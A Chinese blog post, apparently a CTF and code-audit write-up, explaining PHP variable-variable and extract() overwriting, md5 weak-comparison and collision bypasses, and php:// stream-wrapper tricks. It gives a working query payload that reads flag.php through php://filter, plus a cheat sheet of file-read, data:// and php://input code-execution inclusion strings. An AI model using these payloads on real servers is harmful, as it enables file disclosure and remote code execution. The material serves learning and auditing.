侧边栏

由一段代码引发的惨案,md5绕过,foreach,php伪协议

第一部分

0.起因

读《白帽子讲Web安全》里的一段代码

$chs = '';
if($_POST && $charset != 'utf-8'){
	$chs = new Chinses('UTF-8',$charset);
	foreach ($_POSTas as $key => $value)
	{
	    $$key = $chs->Convert($value);
	}
	unset($chs);
}

0.1.$$是甚么

php中$$符号的使用方法
示例代码:

<?php
$var = 'hello word !';
$str = 'var';
echo $str;
echo $$str;
?>

输出结果:

var
hello word !

说明:

1、$str的变量的值为字符串 var

2、$$str为一个可变变量,$str的值为 var 则 $$str 等同于 $var

0.2.PHP中的=>,->是什么意思?

  • ->是对象执行方法或取得属性用的。

  • =>是数组里键和值对应用的。

foreach ($array as $key => $value)
{
    要执行代码;
}

每一次循环,当前数组元素的键与值就都会被赋值给 $key 和 $value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。

<?php
$x=array(1=>"Google", 2=>"Runoob", 3=>"Taobao");
foreach ($x as $key => $value)
{
    echo "key  为 " . $key . ",对应的 value 为 ". $value . PHP_EOL;
}
?>

输出

key 为 1,对应的 value 为 Google
key 为 2,对应的 value 为 Runoob
key 为 3,对应的 value 为 Taobao

<?php
class Car {
	public $speed = 0;
	//增加speedUp方法,使speed加10
	public function speedUp()
	{
	$this->speed+=10;
	} 
}
$car = new Car();
$car->speedUp();
echo $car->speed;
?>

0.3.回手掏

再看这段代码

$chs = '';
if($_POST && $charset != 'utf-8'){
	$chs = new Chinses('UTF-8',$charset);
	foreach ($_POSTas as $key => $value)
	{
	    $$key = $chs->Convert($value);
	}
	unset($chs);
}

若提交参数chs,则可覆盖变量“$chs”的值
在代码审计时需要注意类似“$$k”的变量赋值方式可能覆盖已有变量,从而导致一些不可控的结果。

第二部分

感觉神熟悉,没错,前几天做的一道题

1.0.php代码审计

这题默认打开了两个

allow_url_include = On
allow_url_fopen = On

<?php
highlight_file('index.php'); //PHP 语法高亮显示
//当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); //销毁变量
        }                                                   //这是在干啥?
    }
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP); //EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
    if($_GET['flag'] === $_GET['hongri']){     //flag[]=1&hongri[]=2
        exit('error');   
    }
    if(md5($_GET['flag'] ) == md5($_GET['hongri'])){    //flag!=honri      QNKCDZO      s878926199a
        $url = $_GET['url'];                            //但他俩md5要一样,可以利用数组绕过
        $urlInfo = parse_url($url);  //解析一个 URL 并返回一个关联数组
        if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){  //只能http
            die( "scheme error!");  //输出一条消息,并退出当前脚本:
        }
        $url = escapeshellarg($url);
        $url = escapeshellcmd($url);
        system("curl ".$url);
    }
}
?>

在这里,我曾经十分疑惑waf函数里那个foreach是干什么的
现在能看出来个大概了
foreach里面的判断先是遍历$_POST然后再遍历$_GET
如果$_POST存在,就把它里面的键值赋给$__k => $__v
如果$$_k存在而且和$__v弱相等就销毁$$_k
现在假设post里的是_GET=>a
$__k就是_GET
$__v就是a
那么$$_k就是$_GET

1.1.PHP extract() 函数

将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

输出

$a = Cat; $b = Dog; $c = Horse

ps:当 extract()从数组中导出变量的时候,如果是默认的EXTR_OVERWRITE
会覆盖已有的变量。

当我们的get被销毁后,

if($_POST) extract($_POST, EXTR_SKIP); //EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
if($_GET) extract($_GET, EXTR_SKIP);

如果post的和get一样,再在变量前面加上_GET的话,extract()会重新生成$_GET变量

1.2.md5弱绕过与强碰撞

https://www.jianshu.com/p/2cb9253a0da1

  • md5弱比较,为0e开头的会被识别为科学记数法,结果均为0

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904

param1=QNKCDZO&param2=aabg7XSs

  • md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

param1[]=111&param2[]=222

  • 真实md5碰撞,因为此时不能输入数组了,只能输入字符串
    两串巨长的字符串md5一样
    上网找了两个相对短一些的

0e306561559aa787d00bc6f70bbdfe34
04cf03659e704f8534c00ffb659c4c87
40cc942feb2da115a3f4155cbb860749
7386656d7d1f34a42059d78f5a8dd1ef

0e306561559aa787d00bc6f70bbdfe34
04cf03659e744f8534c00ffb659c4c87
40cc942feb2da115a3f415dcbb860749
7386656d7d1f34a42059d78f5a8dd1ef

两段数据的MD5均为:
cee9a457e790cf20d4bdaa6d69f01e41

考虑到要将一些不可见字符传到服务器,这里可以使用url编码
最后就成这奶奶样了

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

1.3.payload

get部分:

?flag=QNKCDZO&hongri=240610708&file=php://filter/read=convert.base64-encode/resource=flag.php

post部分:

?_GET[flag]=QNKCDZO&_GET[hongri]=240610708&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

1.4.伪协议

读取(base64可以读出看不见的东西哦)

php://filter/read=convert.base64-encode/resource=d:\phpstudy_pro\WWW\flag.php
php://filter/read=convert.base64-encode/resource=useless.php

file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file=./phpinfo.txt
file=http://127.0.0.1/phpinfo.txt

写入

data://text/plain;base64,base64的内容
data://text/plain,

执行

php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]

'); ?>

参考

md5碰撞

php伪协议

posted @ 2021-06-14 19:32  探针一号  阅读(431)  评论(0编辑  收藏  举报